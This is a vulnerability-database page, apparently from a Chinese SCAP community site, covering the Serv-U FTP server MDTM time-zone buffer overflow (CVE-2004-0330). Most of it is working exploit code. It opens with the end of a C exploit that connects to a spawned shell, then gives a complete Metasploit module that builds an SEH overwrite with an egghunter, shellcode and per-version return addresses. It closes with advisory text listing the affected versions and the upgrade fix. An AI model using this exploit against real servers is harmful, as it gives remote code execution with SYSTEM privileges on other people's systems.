                        printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
                        shell(s3);
                    }
                }    
            }
            else
            {
                printf("[+] Connect to shell...\n");
            
                Sleep(1000);
                s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
                server.sin_family = AF_INET;
                server.sin_port = htons(shport);
                server.sin_addr.s_addr=inet_addr(ip);

                ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
                if(ret!=0)
                {
                    printf("[-] Exploit seem failed.\n");
                    __leave;
                }
            
                printf("[+] Exploit success! Good luck! :)\n");
                printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
                shell(s2);
            }
        }    
    }

#ifdef UNIX
exit_try:
#endif

#ifndef UNIX
    __finally
#endif
    {
        if(s != INVALID_SOCKET) closesocket(s);
        if(s2 != INVALID_SOCKET) closesocket(s2);
        if(s3 != INVALID_SOCKET) closesocket(s3);
        
#ifndef UNIX
        WSACleanup();
#endif
    }

    return 0;
}



		

- 漏洞信息 (F83136)

Serv-U FTPD MDTM Overflow (PacketStormID:F83136)
2009-11-26 00:00:00
spoonm  metasploit.com
exploit,overflow,shellcode
CVE-2004-0330
[点击下载]

This is an exploit for the Serv-U's MDTM command timezone overflow. It has been heavily tested against versions 4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against nt4/2k/xp/2k3. I have also had success against version 3, but only tested 1 version/os. The bug is in all versions prior to 5.0.0.4, but this exploit will not work against versions not listed above. You only get one shot, but it should be OS/SP independent. This exploit is a single hit, the service dies after the shellcode finishes execution.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Serv-U FTPD MDTM Overflow',
			'Description'    => %q{
				This is an exploit for the Serv-U's MDTM command timezone
				overflow. It has been heavily tested against versions
				4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against
				nt4/2k/xp/2k3. I have also had success against version 3,
				but only tested 1 version/os. The bug is in all versions
				prior to 5.0.0.4, but this exploit will not work against
				versions not listed above. You only get one shot, but it
				should be OS/SP independent.

				This exploit is a single hit, the service dies after the
				shellcode finishes execution.
					
			},
			'Author'         => [ 'spoonm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2004-0330'],
					[ 'OSVDB', '4073'],
					[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],
					[ 'URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'],
					[ 'URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'],
					[ 'BID', '9751'],

				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
					'StackAdjustment' => -3500,

				},
			'Targets'        => 
				[
					[ 
						'Serv-U Uber-Leet Universal ServUDaemon.exe', # Tested OK - hdm 11/25/2005
						{
							'Platform' => 'win',
							'Ret'      => 0x00401877,
						},
					],
					[ 
						'Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe',
						{
							'Platform' => 'win',
							'Ret'      => 0x0040164d,
						},
					],
					[ 
						'Serv-U 5.0.0.0 ServUDaemon.exe',
						{
							'Platform' => 'win',
							'Ret'      => 0x0040167e,
						},
					],										
				],
			'DisclosureDate' => 'Feb 26 2004',
			'DefaultTarget' => 0))
	
	  	register_advanced_options(
		[
			OptInt.new('SEHOffset', [ false, "Offset from beginning of timezone to SEH", 47 ]),
			OptInt.new('ForceDoubling', [ false, "1 to force \\xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect", 2 ]),
		], self.class)
	
	end
	
	# From 5.0.0.4 Change Log
	# "* Fixed bug in MDTM command that potentially caused the daemon to crash."
	#
	# Nice way to play it down boys
	#
	# Connected to ftp2.rhinosoft.com.
	# 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
	#
	# Heh :)
	
	def check
		connect
		disconnect	
		
		case banner
			when /Serv-U FTP Server v4\.1/
				print_status('Found version 4.1.0.3, exploitable')
				return Exploit::CheckCode::Vulnerable
				
			when /Serv-U FTP Server v5\.0/
				print_status('Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
				return Exploit::CheckCode::Appears
				
			when /Serv-U FTP Server v4\.0/
				print_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');
				send_user(datastore['USER'])
				send_pass(datastore['PASS'])
				if (double_ff?())
					print_status('Found version 4.0.0.4, exploitable');
					return Exploit::CheckCode::Vulnerable
				else
					print_status('Found version 4.1.0.0, exploitable');
					return Exploit::CheckCode::Vulnerable
				end
				
			when /Serv-U FTP Server/
				print_status('Found an unknown version, try it!');
				return Exploit::CheckCode::Detected
			
			else
				print_status('We could not recognize the server banner')
				return Exploit::CheckCode::Safe
		end

		return Exploit::CheckCode::Safe
	end
	
	def exploit
	
#		generate_egghunter
		connect_login
		
		print_status("Trying target #{target.name}...")

		# Should have paid more attention to skylined's exploit, only after figuring
		# out how my payloads were getting transformed did I remember seeing \xff
		# doubling in his CHMOD exploit, arg!
		shellcode = payload.encoded
		
		case datastore['ForceDoubling']
			when 1
				print_status("Forced doubling of all \\xff sequences in the encoded payload")
				shellcode.gsub!(/\xff/, "\xff\xff")
			when 0
				print_status("Forced doubling has been disabled")
			when 2
				if (double_ff?())
					print_status("Forced doubling enabled after detection of version 4.0.0.4")
					shellcode.gsub!(/\xff/, "\xff\xff")
				end
		end

		# Searcher expects address to start scanning at in edi
		# Since we got here via a pop pop ret, we can just the address of the jmp
		# off the stack, add esp, BYTE -4 ; pop edi

		search_rtag = "\x34\x33\x32\x31" # +1 / 0 / -1 [start, end, stored]
		search_stub = Rex::Arch::X86.searcher(search_rtag)
		search_code = "\x83\xc4\xfc\x5f" + search_stub + 'BB'
		if (datastore['SEHOffset'] < search_code.length)
			print_error("Not enough room for search code, adjust SEHOffset")
			return
		end

		jump_back = Rex::Arch::X86.jmp_short('$+' + (-1 * search_code.length).to_s) + 'BB'
		
		buf = 'MDTM 20031111111111+' + ('A' * (datastore['SEHOffset'] - search_code.length))
		buf << search_code
		buf << jump_back
		buf << [target.ret].pack('V')
		buf << ' /'
		buf << Rex::Arch::X86.dword_adjust(search_rtag, 1)
		buf << shellcode
		buf << search_rtag

		send_cmd( [buf], false )
		
		handler
		disconnect
	end
	
	def double_ff?
		res = send_cmd( ['P@SW'], true )
		return (res and res =~ /^500/) ? true : false
	end	

end
    

- 漏洞信息

4073
Serv-U FTP Server MDTM Command Time Zone Argument Overflow
Local Access Required, Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public, Exploit Commercial Vendor Verified

- 漏洞描述

The Serv-U FTP server is vulnerable to a remote buffer overflow attack when processing a long time zone argument to the MDTM command. This command is only available to authenticated users (including anonymous) and may be exploited to execute arbitrary code with the privileges of the FTP service. This service often runs with administrative privileges and successful exploitation may result in a loss of confidentiality, integrity, and/or availability.

- 时间线

2004-02-25 Unknow
Unknow 2004-02-25

- 解决方案

Upgrade to version 5.0.0.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

RhinoSoft Serv-U FTP Server MDTM Command Time Argument Buffer Overflow Vulnerability
Boundary Condition Error 9751
Yes No
2004-02-26 12:00:00 2009-07-12 03:06:00
Discovery of this vulnerability has been credited to "bkbll" <bkbll@cnhonker.net>.

- 受影响的程序版本

Rhino Software Serv-U 5.0 .0.4
Rhino Software Serv-U 4.2
Rhino Software Serv-U 4.1 .0.11
Rhino Software Serv-U 4.1
Rhino Software Serv-U 4.0 .0.4
Rhino Software Serv-U 3.1
Rhino Software Serv-U 3.0
Rhino Software Serv-U 5.0 .0.9
Rhino Software Serv-U 5.0 .0.6
Rhino Software Serv-U 5.0 .0.4

- 不受影响的程序版本

Rhino Software Serv-U 5.0 .0.9
Rhino Software Serv-U 5.0 .0.6
Rhino Software Serv-U 5.0 .0.4

- 漏洞讨论

Serv-U FTP Server has been reported prone to a remote stack based buffer overflow vulnerability when handling time zone arguments passed to the MDTM FTP command.

The problem exists due to insufficient bounds checking. Ultimately an attacker may leverage this issue to have arbitrary instructions executed in the context of the SYSTEM user.

- 漏洞利用

Proof of concept and exploit code has been provided. "lion" &lt;lion@cnhonker.net&gt; has released an updated version of the exploit servu_ftpd_mdtm.c:

An exploit (servu_mdtm_overflow.pm) has been released as part of the MetaSploit Framework 2.0.

CORE has developed a working commercial exploit for their IMPACT
product. This exploit is not otherwise publicly available or known
to be circulating in the wild.

- 解决方案

This issue has been addressed in 5.x releases of Serv-U. Users should contact the vendor to obtain upgrades.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站